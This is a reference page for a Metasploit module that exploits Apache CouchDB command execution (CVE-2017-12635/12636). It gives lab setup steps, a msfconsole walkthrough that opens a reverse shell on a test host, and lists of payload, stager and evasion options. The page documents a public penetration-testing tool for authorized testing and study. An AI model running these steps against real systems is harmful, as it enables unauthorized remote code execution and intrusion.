Apache CouchDB Arbitrary Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/apache_couchdb_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache CouchDB Arbitrary Command Execution
Module: exploit/linux/http/apache_couchdb_cmd_exec
Source code: modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
Disclosure date: 2016-04-06
Last modification time: 2021-04-07 06:12:25 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 5984, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-12635, CVE-2017-12636
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/apache_couchdb_cmd_exec
msf exploit(apache_couchdb_cmd_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,including downloading and executing scripts from the public internet.
Vulnerable Application
Vulnerable Application Link
- docker
Couchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
Couchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636
Vulnerable Application Installation Setup.
Change dictory to CVE-2017-1263X, and run docker-compose up -d
Verification Steps
- Install the application
- Start msfconsole
- Do:
use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb - Do:
check
[*] 192.168.77.139:5984 The target appears to be vulnerable.
- Do:
set srvhost <ip> - Do:
set srvport <port> - Do:
set lhost <ip> - Do:
set lport <port> - Do:
exploit - You should get a shell.
Options
URIPATH
URIPATH by default is random, you can change it if you want.
HttpUsername, HttpPassword
Sometimes it requires authentication, set these options to authorize.
Scenarios
Apache CouchDB on Linux
msf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > show options
Module options (exploit/linux/http/apache_couchdb_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password to login with
HttpUsername no The username to login as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 5984 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit to download and execute. (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139
rhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > check
[*] 192.168.77.139:5984 The target appears to be vulnerable.
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139
srvhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888
srvport => 8888
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139
lhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.77.139:4444
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2
[*] 192.168.77.139:5984 - The 1 time to exploit
[*] 192.168.77.139:5984 - Sending the payload to the server...
[*] Command shell session 1 opened (192.168.77.139:4444 -> 172.18.0.2:58348) at 2018-03-27 06:18:21 -0400
[*] Server stopped.
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...
id
uid=1000(couchdb) gid=999(couchdb) groups=999(couchdb)
Go back to menu.
Msfconsole Usage
Here is how the linux/http/apache_couchdb_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/apache_couchdb_cmd_exec
[*] Using configured payload linux/x64/shell_reverse_tcp
msf6 exploit(linux/http/apache_couchdb_cmd_exec) > show info
Name: Apache CouchDB Arbitrary Command Execution
Module: exploit/linux/http/apache_couchdb_cmd_exec
Platform: Linux
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-04-06
Provided by:
Max Justicz
Joan Touzet
Green-m <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
1 Apache CouchDB version 1.x
2 Apache CouchDB version 2.x
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password to login with
HttpUsername no The username to login as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5984 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit to download and execute. (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
CouchDB administrative users can configure the database server via
HTTP(S). Some of the configuration options include paths for
operating system-level binaries that are subsequently launched by
CouchDB. This allows an admin user in Apache CouchDB before 1.7.0
and 2.x before 2.1.1 to execute arbitrary shell commands as the
CouchDB user, including downloading and executing scripts from the
public internet.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-12636
https://nvd.nist.gov/vuln/detail/CVE-2017-12635
https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
http://docs.couchdb.org/en/latest/cve/2017-12636.html
https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E
Module Options
This is a complete list of options available in the linux/http/apache_couchdb_cmd_exec exploit:
msf6 exploit(linux/http/apache_couchdb_cmd_exec) > show options
Module options (exploit/linux/http/apache_couchdb_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password to login with
HttpUsername no The username to login as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5984 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit to download and execute. (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/apache_couchdb_cmd_exec exploit:
msf6 exploit(linux/http/apache_couchdb_cmd_exec) > show advanced
Module advanced options (exploit/linux/http/apache_couchdb_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Attempts no The number of attempts to execute the payload.
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR curl no The CMD Stager to use. (Accepted: auto, curl, wget)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes Writable directory to write temporary payload on disk.
Payload advanced options (linux/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/apache_couchdb_cmd_exec module can exploit:
msf6 exploit(linux/http/apache_couchdb_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Apache CouchDB version 1.x
2 Apache CouchDB version 2.x
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/apache_couchdb_cmd_exec exploit:
msf6 exploit(linux/http/apache_couchdb_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/chmod normal No Linux Chmod
19 payload/linux/x86/exec normal No Linux Execute Command
20 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
21 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
22 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
23 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
26 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
27 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
30 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
31 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
32 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
33 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
34 payload/linux/x86/read_file normal No Linux Read File
35 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
36 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
37 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
38 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
41 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
42 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
45 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
46 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
47 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
48 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/apache_couchdb_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/apache_couchdb_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Something went horribly wrong and we couldn't continue to exploit.
- <PEER> - Connection failed
- <PEER> - No response, check if it is CouchDB.
- <PEER> - Authentication required.
- <PEER> - Cannot parse the response, seems like it's not CouchDB.
- <PEER> - Version not found
- <PEER> - Cannot retrieve the version of CouchDB.
- <PEER> - Couldn't retrieve the version automaticly, set the target manually and try again.
- <PEER> - The target is not vulnerable.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Something went horribly wrong and we couldn't continue to exploit.
Here is a relevant code snippet related to the "Something went horribly wrong and we couldn't continue to exploit." error message:
77:
78: CheckCode::Safe
79: end
80:
81: def exploit
82: fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
83: version = @version
84:
85: vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
86:
87: print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
<PEER> - Connection failed
Here is a relevant code snippet related to the "<PEER> - Connection failed" error message:
138: 'uri' => normalize_uri(target_uri.path),
139: 'method' => 'GET',
140: 'authorization' => @auth
141: )
142: rescue Rex::ConnectionError
143: vprint_bad("#{peer} - Connection failed")
144: return false
145: end
146:
147: unless res
148: vprint_bad("#{peer} - No response, check if it is CouchDB. ")
<PEER> - No response, check if it is CouchDB.
Here is a relevant code snippet related to the "<PEER> - No response, check if it is CouchDB." error message:
143: vprint_bad("#{peer} - Connection failed")
144: return false
145: end
146:
147: unless res
148: vprint_bad("#{peer} - No response, check if it is CouchDB. ")
149: return false
150: end
151:
152: if res && res.code == 401
153: print_bad("#{peer} - Authentication required.")
<PEER> - Authentication required.
Here is a relevant code snippet related to the "<PEER> - Authentication required." error message:
148: vprint_bad("#{peer} - No response, check if it is CouchDB. ")
149: return false
150: end
151:
152: if res && res.code == 401
153: print_bad("#{peer} - Authentication required.")
154: return false
155: end
156:
157: if res && res.code == 200
158: res_json = res.get_json_document
<PEER> - Cannot parse the response, seems like it's not CouchDB.
Here is a relevant code snippet related to the "<PEER> - Cannot parse the response, seems like it's not CouchDB." error message:
156:
157: if res && res.code == 200
158: res_json = res.get_json_document
159:
160: if res_json.empty?
161: vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
162: return false
163: end
164:
165: @version = res_json['version'] if res_json['version']
166: return true
<PEER> - Version not found
Here is a relevant code snippet related to the "<PEER> - Version not found" error message:
164:
165: @version = res_json['version'] if res_json['version']
166: return true
167: end
168:
169: vprint_warning("#{peer} - Version not found")
170: return true
171: end
172:
173: def send_payload(version)
174: vprint_status("#{peer} - CouchDB version is #{version}") if version
<PEER> - Cannot retrieve the version of CouchDB.
Here is a relevant code snippet related to the "<PEER> - Cannot retrieve the version of CouchDB." error message:
173: def send_payload(version)
174: vprint_status("#{peer} - CouchDB version is #{version}") if version
175:
176: version = Rex::Version.new(@version)
177: if version.version.empty?
178: vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
179: # if target set Automatic, exploit failed.
180: if target == targets[0]
181: fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
182: elsif target == targets[1]
183: payload1
<PEER> - Couldn't retrieve the version automaticly, set the target manually and try again.
Here is a relevant code snippet related to the "<PEER> - Couldn't retrieve the version automaticly, set the target manually and try again." error message:
176: version = Rex::Version.new(@version)
177: if version.version.empty?
178: vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
179: # if target set Automatic, exploit failed.
180: if target == targets[0]
181: fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
182: elsif target == targets[1]
183: payload1
184: elsif target == targets[2]
185: payload2
186: end
<PEER> - The target is not vulnerable.
Here is a relevant code snippet related to the "<PEER> - The target is not vulnerable." error message:
187: elsif version < Rex::Version.new('1.7.0')
188: payload1
189: elsif version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
190: payload2
191: elsif version >= Rex::Version.new('1.7.0') || Rex::Version.new('2.1.0')
192: fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
193: end
194: end
195:
196: # Exploit with multi requests
197: # payload1 is for the version of couchdb below 1.7.0
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Related Pull Requests
- #15011 Merged Pull Request: Enhance analyze command API to understand modules' needs
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10505 Merged Pull Request: Add post authentication information in modules
- #9780 Merged Pull Request: Apache couchdb remote code execute
References
- CVE-2017-12636
- CVE-2017-12635
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
- http://docs.couchdb.org/en/latest/cve/2017-12636.html
- https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E
See Also
Check also the following modules related to this module:
- auxiliary/scanner/couchdb/couchdb_enum
- auxiliary/scanner/couchdb/couchdb_login
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/smtp/apache_james_exec
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/gather/apache_rave_creds
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/apache_flink_jobmanager_traversal
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/scanner/http/apache_normalize_path
- auxiliary/scanner/http/apache_optionsbleed
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/ssh/apache_karaf_command_execution
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/apache_flink_jar_upload_exec
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_normalize_path_rce
- exploit/multi/http/apache_roller_ognl_injection
- exploit/windows/http/apache_activemq_traversal_upload
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- exploit/windows/http/php_apache_request_headers_bof
Related Nessus plugins:
- GLSA-201711-16 : CouchDB: Multiple vulnerabilities
- Fedora 27 : couchdb / erlang-jiffy (2017-a20d92573b)
- Debian DLA-1252-1 : couchdb security update
- FreeBSD : couchdb -- multiple vulnerabilities (1e54d140-8493-11e8-a795-0028f8d09152)
Authors
- Max Justicz
- Joan Touzet
- Green-m <greenm.xxoo[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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